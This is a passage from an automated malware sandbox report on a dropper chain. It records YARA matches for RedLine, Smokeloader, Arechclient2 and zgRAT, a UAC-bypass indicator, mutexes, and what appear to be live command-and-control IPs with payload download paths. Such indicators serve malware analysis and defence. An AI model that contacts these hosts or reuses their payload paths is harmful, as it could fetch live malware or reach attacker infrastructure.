Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B452320 10_2_6B452320
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B3E8340 10_2_6B3E8340
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4343E0 10_2_6B4343E0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4123A0 10_2_6B4123A0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B43E3B0 10_2_6B43E3B0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B478250 10_2_6B478250
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B468260 10_2_6B468260
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4AA210 10_2_6B4AA210
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4B8220 10_2_6B4B8220
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B5662C0 10_2_6B5662C0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4B22A0 10_2_6B4B22A0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4AE2B0 10_2_6B4AE2B0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B448140 10_2_6B448140
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B456130 10_2_6B456130
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4C4130 10_2_6B4C4130
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B3E01E0 10_2_6B3E01E0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B42E070 10_2_6B42E070
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4AC000 10_2_6B4AC000
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4A8010 10_2_6B4A8010
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B3F00B0 10_2_6B3F00B0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B3D8090 10_2_6B3D8090
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B4BC0B0 10_2_6B4BC0B0
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B460700 10_2_6B460700
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B40A7D0 10_2_6B40A7D0
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BA4060 15_2_00BA4060
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BBF840 15_2_00BBF840
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BC6130 15_2_00BC6130
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BA2120 15_2_00BA2120
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BBB150 15_2_00BBB150
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BECAA0 15_2_00BECAA0
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BF9A00 15_2_00BF9A00
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BB4390 15_2_00BB4390
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BC0390 15_2_00BC0390
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BCFC10 15_2_00BCFC10
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BAD570 15_2_00BAD570
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BF5550 15_2_00BF5550
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BAA6F0 15_2_00BAA6F0
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BC66F0 15_2_00BC66F0
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BF96E0 15_2_00BF96E0
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BA37B0 15_2_00BA37B0
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_6C723D16 15_2_6C723D16
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_6C724D8F 15_2_6C724D8F
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_6C73371C 15_2_6C73371C
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_6C69D24D 15_2_6C69D24D
Found potential string decryption / allocating functions
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: String function: 00BA1310 appears 36 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: String function: 00BA1900 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: String function: 6C726320 appears 31 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: String function: 6C724701 appears 64 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: String function: 00BA14F0 appears 60 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: String function: 00D29D36 appears 33 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: String function: 00BA1930 appears 76 times
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: String function: 03599F27 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: String function: 035B7A73 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: String function: 00409CC0 appears 48 times
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: String function: 0042780C appears 43 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: String function: 6B409B10 appears 38 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: String function: 6B36CBE8 appears 134 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: String function: 6B56D930 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: String function: 6B5609D0 appears 192 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: String function: 6B403620 appears 43 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: String function: 004043B0 appears 316 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: String function: 6B56DAE0 appears 41 times
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: String function: 6B3794D0 appears 90 times
One or more processes crash
Source: C:\Users\user\AppData\Local\Temp\i1.exe Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7352 -s 1248
Sample file is different than original file name gathered from version info
Source: JlvRdFpwOD.exe, 00000000.00000002.1704799716.000000000040C000.00000004.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameinetc.dllF vs JlvRdFpwOD.exe
Source: JlvRdFpwOD.exe, 00000000.00000002.1704799716.000000000041E000.00000004.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenameinetc.dllF vs JlvRdFpwOD.exe
Uses 32bit PE files
Source: JlvRdFpwOD.exe Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
Yara signature match
Source: 29.2.cmd.exe.56ede64.2.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 29.2.cmd.exe.56a9976.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.cmd.exe.4b6e976.3.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.cmd.exe.54f00c8.8.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 16.2.cmd.exe.4bb2264.6.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 15.2.run.exe.3e95d5b.7.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 29.2.cmd.exe.56ed264.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 29.2.cmd.exe.5cc00c8.7.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 29.2.cmd.exe.5cc00c8.7.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 28.2.run.exe.3c56d5b.6.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 32.2.MSBuild.exe.900000.0.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 28.2.run.exe.3c5615b.7.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 15.2.run.exe.3e9515b.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.cmd.exe.54f00c8.8.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: 28.2.run.exe.3c1286d.5.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.2.cmd.exe.4bb2e64.4.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 15.2.run.exe.3e5186d.6.raw.unpack, type: UNPACKEDPE Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2ead1e06ca8.6.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc8a4dad.3.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc8947a3.8.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbe432f.5.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabc88537d.1.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfc08739.7.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 24.0.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eabfbbd525.2.raw.unpack, type: UNPACKEDPE Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 00000005.00000002.2099463992.0000000001C0A000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000000A.00000002.2206846600.00000000034F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 0000000A.00000002.2206573425.0000000001A5B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000005.00000002.2099596877.0000000003590000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: C:\Users\user\AppData\Local\Temp\ejfydkiwv, type: DROPPED Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: C:\Users\user\AppData\Local\Temp\ncgdcbnvvkpiwr, type: DROPPED Matched rule: MALWARE_Win_Arechclient2 author = ditekSHen, description = Detects Arechclient2 RAT
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT1926.tmp, type: DROPPED Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: 16.2.cmd.exe.54f00c8.8.raw.unpack, -Module-.cs Cryptographic APIs: 'CreateDecryptor'
Source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada920000.16.raw.unpack, LHMFCLLKPJPNLPEMOOMPKGFGGJLDMBDEHOHN.cs Cryptographic APIs: 'CreateDecryptor'
Source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada920000.16.raw.unpack, LHMFCLLKPJPNLPEMOOMPKGFGGJLDMBDEHOHN.cs Cryptographic APIs: 'CreateDecryptor'
Source: 24.2.SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe.2eada920000.16.raw.unpack, LHMFCLLKPJPNLPEMOOMPKGFGGJLDMBDEHOHN.cs Cryptographic APIs: 'CreateDecryptor'
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winEXE@53/89@11/15
Source: C:\Users\user\AppData\Local\Temp\u5o8.0.exe Code function: 10_2_6B397030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree, 10_2_6B397030
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Code function: 0_2_00403532 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,wsprintfW,GetFileAttributesW,DeleteFileW,SetCurrentDirectoryW,CopyFileW,ExitProcess,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,InitOnceBeginInitialize,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess, 0_2_00403532
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Code function: 0_2_004049C7 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW, 0_2_004049C7
Source: C:\Users\user\AppData\Local\Temp\i1.exe Code function: 5_2_01C0B776 CreateToolhelp32Snapshot,Module32First, 5_2_01C0B776
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Code function: 0_2_004021AF CoCreateInstance, 0_2_004021AF
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Code function: 15_2_00BB8040 LoadResource,LockResource,SizeofResource, 15_2_00BB8040
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\load[1].bat Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Mutant created: \Sessions\1\BaseNamedObjects\e7cbbe5f9b9841e6afa735541f989b8a
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7352
Source: C:\Users\user\AppData\Local\Temp\u5o8.2\run.exe Mutant created: \Sessions\1\BaseNamedObjects\Canon_UIW_Inst_v1
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7472:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6772:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7104:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess7608
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe File created: C:\Users\user\AppData\Local\Temp\nsl17D3.tmp Jump to behavior
Source: Yara match File source: 20.0.u5o8.3.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000005.00000003.1919179688.0000000004BD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000014.00000000.1916284237.0000000000401000.00000020.00000001.01000000.00000012.sdmp, type: MEMORY
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe, type: DROPPED
Source: C:\Users\user\Desktop\JlvRdFpwOD.exe Process created: C:\Windows\SysWOW64\cmd.exe "cmd" /c "C:\Users\user\AppData\Local\Temp\nsl17D4.tmp\app.bat"
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: one 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: one 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: one 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.90 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.90 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.90 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: Installed 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: Installed 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.59 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.59 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.203 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.203 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /syncUpd.exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /syncUpd.exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /timeSync.exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /timeSync.exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.203 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.59 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /timeSync.exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /syncUpd.exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /1/Package.zip 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /1/Package.zip 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /1/Package.zip 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .zip 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .zip 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: \run.exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: \run.exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /BroomSetup.exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /BroomSetup.exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /BroomSetup.exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .exe 5_2_00424A0E
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: @ 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.90 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.90 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.90 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: Installed 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: Installed 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.59 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.59 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.203 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.203 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /syncUpd.exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /syncUpd.exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /timeSync.exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /timeSync.exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.203 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.59 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /timeSync.exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /syncUpd.exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /1/Package.zip 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /1/Package.zip 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /1/Package.zip 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .zip 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .zip 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: \run.exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: \run.exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /BroomSetup.exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /BroomSetup.exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: 185.172.128.228 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: /BroomSetup.exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .exe 5_2_035B4C75
Source: C:\Users\user\AppData\Local\Temp\i1.exe Command line argument: .exe 5_2_035B4C75
Source: JlvRdFpwOD.exe Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\u5o8.3.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT ProcessorId FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
